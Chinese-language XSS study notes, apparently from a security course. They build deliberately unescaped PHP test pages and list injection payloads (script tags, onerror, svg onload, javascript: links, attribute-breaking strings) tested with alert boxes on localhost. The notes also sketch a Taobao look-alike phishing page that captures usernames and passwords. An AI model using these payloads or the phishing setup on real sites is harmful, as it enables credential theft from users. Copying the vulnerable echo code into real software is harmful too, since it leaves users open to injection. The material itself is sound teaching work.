XSS跨站攻击脚本
1、开发一个简单的PHP页面,代码如下:
if (isset($_GET['content'])){
$content = $_GET['content'];
echo "你输入的内容: $content";
}
else{
echo "请在地址栏输入content值.";
}
2、在地址栏输入:http://localhost/xss1//testxss.php?content=HelloWorld!
3、如果在地址栏输入:http://localhost/xss1//testxss.php?content=<script>alert(1)</script>呢?也可以是alert("Hello World")或alert(/Hello World/)来进行试探,或者是<button οnclick=alert("你被攻击了")>快来点我</button>,也可以更复杂一点
<script>function test(){alert("Hello Test")}</script><button onclick="test()">快来点我</button>
在content后面加上<script>var result=0;for(var i=0;i<=999;i++){result += i;} alert(result);</script>,出现如下图的结果所示,发现+被空格所代替,如果想要计算1~999的和的话,可以利用-
如:content=<script>var result=0;for(var i=100;i>0;i--){result -= i;} alert(result);</script>,将算出来的结果的负号去掉即可
XSS的核心要求是构造出能够让前端执行的JavaScript代码,所以要求我们对JavaScript的代码必须熟悉
XSS也算是注入类的漏洞,JavaScript的代码注入,所以XSS漏洞主要是去攻击系统的用户,而不是系统本身。
XSS概述
XSS全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。
XSS攻击者的目的就是寻找具有XSS漏洞的网页,让受害者在不知情的情况下,在有XSS漏洞的网页上执行攻击者的JavaScript代码。
XSS是提前埋伏好漏洞陷阱,等着受害者上钩。既然攻击者是执行JavaScript代码,所以攻击的语句应该能让JavaScript运行。
JavaScript运行条件:
(1)代码位于"<script>alert(1)</script>"
<script>alert(1)</script>
(2)代码位于onclick事件中,此类事件带有onerror,onload,onfocus,onblur,onchange,onmouseover,ondbclick等
<button onclick="alerk('你被攻击了')">快来点我</button>
<img src="http://xxxxx/course.jpg" onmouseover="alert(1)" width=200>
(3)代码位于超链接的href属性中,或者其他类似属性中
<a href="javascript:alert(1)">点击有惊喜</a>
XSS的攻击payload一定满足上述条件
XSS学习主要是以测试看到效果为主,通常的明显效果就是使用alert弹个框,弹框意味着我们的js执行了。
XSS是以Web站点用户为攻击目标,而不是服务器,所以是一种钓鱼攻击(越权类操作),攻击目标是不确定的。但是,如果针对Cookie类的攻击,隐含一个目标:网站管理员。
基于XSS配置钓鱼网站:自行构建一个与淘宝页面一模一样的网页,用户一旦输入用户和密码,将直接发送账密到攻击者的后台服务器,然后后台将账密保存后,再跳转到真实的淘宝网站,让用户完成后续工作,服务器代码类似于:
//获取用户的淘宝账密
$username=$_POST['username'];
$password=$_POST['password'];
//将数据保存起来,文件或数据库
echo "<script>document.write('你的用户名密码不正确,请重新登录'); setTimeout(function() { location.href='https://www.taobao.com';},3000);</script>";
利用iframe完成XSS攻击。将攻击者的模仿页面嵌入被攻击网页中:<iframe src="https://www.taobao.com"/>
XSS渗透测试步骤
XSS攻击,一定牢记"输入输出",输入指的是攻击者对服务器网页输入恶意代码,输出指的是浏览器接收到代码后能解析并输出到前端。XSS的原理就是开发者没有对输入内容进行过滤。导致通过攻击者精心构造的前端代码,输入后和原有的前端代码产生混淆,形成新的页面语句,并且新的页面语句能被浏览器解析并输出。
XSS渗透测试步骤:
(1)找到输入点,输入任意字符串,查看输出位置
(2)打开网页源代码,在源代码中查看输出的位置(有可能输入和输出是不是在同一个页面)
(3)查看输出位置的内容与输入的内容之间的关系,构建闭合和拼接脚本
(4)利用<script>或onclick或alert(1)进行测试,确认是否存在XSS注入点.<iframe src="http://www.woniuxy.com"/>
(5)开始利用该注入点完成各类复杂的操作,实现攻击目的
优化PHP代码为以下代码,并在一个文本框中进行输出
if (isset($_GET['content'])){
$content = $_GET['content'];
echo "<input type='text' value='$content' id='username'/>";
}
我们的目的是进行XSS攻击,执行XSS攻击,执行JS代码。执行js代码的条件是要有script标签或事件属性
<script>alert(1)</script> 这个是一定能在页面上执行弹警告框的
如果我们直接输入上述代码,会变成:
<input type="text" value="<script>alert(1)</script>"> 这个并不符合html的语法
为了使alert可以执行,就需要把上面的内容变换一下:
<input type="text" value=""><script>alert(1)</script>"> 变成这样的话,就是input和script两个标签都能执行
因此,我们的输入就变成
"><script>alert(1)</script><!--
那此时浏览器在解析的时候,就会解析出两个元素,一个是input,一个是script,从而执行了我们在script中的js代码,完成了XSS攻击,也可以完成对value="的闭合,实现在文本框中的单击事件,payload为:
Hello" onclick="alert(1)
也可以构建一个全新的标签进行触发
payload1: "><img src="1" onerror="alert(1)">
payload2: "><img src="./image/dateme.gif" onclick="alert(1)"><!--
payload3: "><img src="./image/dateme.gif" onclick="alert(1)"><input type="hidden
XSS常用测试语句
<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
<input onfocus=write(1) autofocus>
注入过程:
在testxss中的输出改为echo '你输入的内容是:<input type="text" value="' . $content . '" id="content" />';
http://localhost/security/testxss.php?content=Hello
查看其源代码
http://localhost/security/testxss.php?content=<>"'
发现没有屏蔽,说明应该存在注入的
http://localhost/security/testxss.php?content=<script>alert(1)</script>
http://localhost/security/testxss.php?content=Hello" onclick="alert('Attack')"
http://localhost/security/testxss.php?content=Hello" onclick=alert('Attack') maxlength="100
http://localhost/security/testxss.php?content=Hello" onclick=alert('Attack') /> <!--
if (isset($_GET['content'])){
$content = $_GET['content'];
//echo '你输入的内容是:<input type="text" id="content" value="' . $content . '"/>';
//echo '你输入的内容是:<input type="text" value="' . $content . '" id="content" />';
echo "<a href='$content'>点我有惊喜</a>";
}
else{
echo "请在地址栏输入content值.";
}
http://localhost/security/testxss.php?content=https://www.woniuxy.com
http://localhost/security/testxss.php?content=javascript:alert(1)
echo "$content'>点我有惊喜</a>";
?content=Hello" <button onclick="alert(1)">这是按钮</button>
?content=Hello"/> <button onclick="alert(1)">这是按钮</button>
发现后面有"/>,要想将这些东西不显示的话,做法就是再增加一个标签,如下:
?content=Hello"/> <button onclick="alert(1)">这是按钮</button> <input type="hidden